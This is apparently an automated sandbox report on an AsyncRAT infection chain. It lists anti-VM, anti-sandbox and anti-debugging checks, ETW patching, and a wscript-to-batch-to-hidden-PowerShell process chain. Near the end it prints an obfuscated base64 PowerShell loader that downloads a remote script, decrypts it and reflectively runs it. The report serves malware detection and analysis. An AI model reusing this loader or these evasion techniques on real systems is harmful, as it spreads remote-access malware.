Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\LogonUI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\LogonUI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dwm.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.powershell.exe.1d3133b65d0.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa26a4b0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc0714a0b0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccdde538.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601de4450.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008ed970.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccde7168.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07141480.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa248728.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07127e40.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008f65a0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601dfa830.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601dfa830.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2d5060.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccde7168.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601de4450.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2d5060.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7e4bb0000.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2eb440.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa261880.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008f65a0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccdde538.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008ed970.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa248728.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133ad9a0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2eb440.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7e4bb0000.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133975c0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07127e40.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.00000206008C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.0000020601DF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.0000020601DC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2325412269.000001D313377000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945403188.000001D7CE2B5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945403188.000001D7CE2E9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1969459274.000001D7E4BB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2248750195.000002CC070F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945403188.000001D7CCDB3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.0000020601DE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2720, type: MEMORYSTR

.NET source code contains a sample name check

Source: 5.2.powershell.exe.1d3130bafb0.5.raw.unpack, tcsnk.cs	.Net Code: Main contains sample name check
Source: 5.2.powershell.exe.1d3130b0098.1.raw.unpack, tcsnk.cs	.Net Code: Main contains sample name check
Source: 5.2.powershell.exe.1d31326fc88.4.raw.unpack, tcsnk.cs	.Net Code: Main contains sample name check
Source: 5.2.powershell.exe.1d3130da550.6.raw.unpack, tcsnk.cs	.Net Code: Main contains sample name check
Source: 5.2.powershell.exe.1d3130d3740.2.raw.unpack, tcsnk.cs	.Net Code: Main contains sample name check
Source: 11.2.powershell.exe.1d7ce1adde0.11.raw.unpack, tcsnk.cs	.Net Code: Main contains sample name check
Source: 11.2.powershell.exe.1d7cdfeefc8.0.raw.unpack, tcsnk.cs	.Net Code: Main contains sample name check
Source: 11.2.powershell.exe.1d7ce012688.10.raw.unpack, tcsnk.cs	.Net Code: Main contains sample name check
Source: 11.2.powershell.exe.1d7ce019498.1.raw.unpack, tcsnk.cs	.Net Code: Main contains sample name check

Check if machine is in data center or colocation facility

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000005.00000002.2325412269.000001D312D1B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2325412269.000001D3133C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: powershell.exe, 00000005.00000002.2325412269.000001D313377000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2325412269.000001D3133AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1945403188.000001D7CE2B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1945403188.000001D7CE2E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1969459274.000001D7E4BB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000B.00000002.1945403188.000001D7CCDB3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2074612069.000001E1AA261000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2248750195.000002CC070F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2248750195.000002CC07141000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLINFO

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4251	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5594	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6875
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2895
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6559
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3232
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7329
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2364
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5992

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7608	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7952	Thread sleep count: 6875 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7992	Thread sleep time: -17524406870024063s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7948	Thread sleep count: 2895 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8012	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1608	Thread sleep count: 6559 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 560	Thread sleep count: 3232 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4108	Thread sleep time: -14757395258967632s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2484	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7284	Thread sleep count: 7329 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6368	Thread sleep time: -23058430092136925s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4480	Thread sleep count: 2364 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6720	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8060	Thread sleep count: 5992 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8052	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8068	Thread sleep count: 135 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8056	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3900	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 6096	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior

Source: powershell.exe, 0000001C.00000002.2323673539.0000020601DE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: powershell.exe, 00000012.00000002.2142824242.000001E1C1AE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll(
Source: powershell.exe, 00000005.00000002.2571355130.000001D32A670000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2440680152.000002CC1EA7C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2624164433.0000020678CA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 0000000B.00000002.1968300111.000001D7E484F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllc

Source: C:\Windows\System32\cdd.dll

System information queried: ModuleInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 5_2_00007FFD9B8BE641 CheckRemoteDebuggerPresent,

5_2_00007FFD9B8BE641

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process queried: DebugPort

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, Messages.cs	Reference to suspicious API methods: capGetDriverDescriptionA(wDriver, ref lpszName, 100, ref lpszVer, 100)
Source: 5.2.powershell.exe.1d3130bafb0.5.raw.unpack, tcsnk.cs	Reference to suspicious API methods: LoadLibrary("ntdll.dll")
Source: 5.2.powershell.exe.1d3130bafb0.5.raw.unpack, tcsnk.cs	Reference to suspicious API methods: GetProcAddress(hModule, "EtwEventWrite")
Source: 5.2.powershell.exe.1d3130bafb0.5.raw.unpack, tcsnk.cs	Reference to suspicious API methods: VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, PAGE_EXECUTE_READWRITE, out var lpflOldProtect)

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\bYKR19crJ6p8904.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Local\Temp\bYKR19crJ6p8904.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command 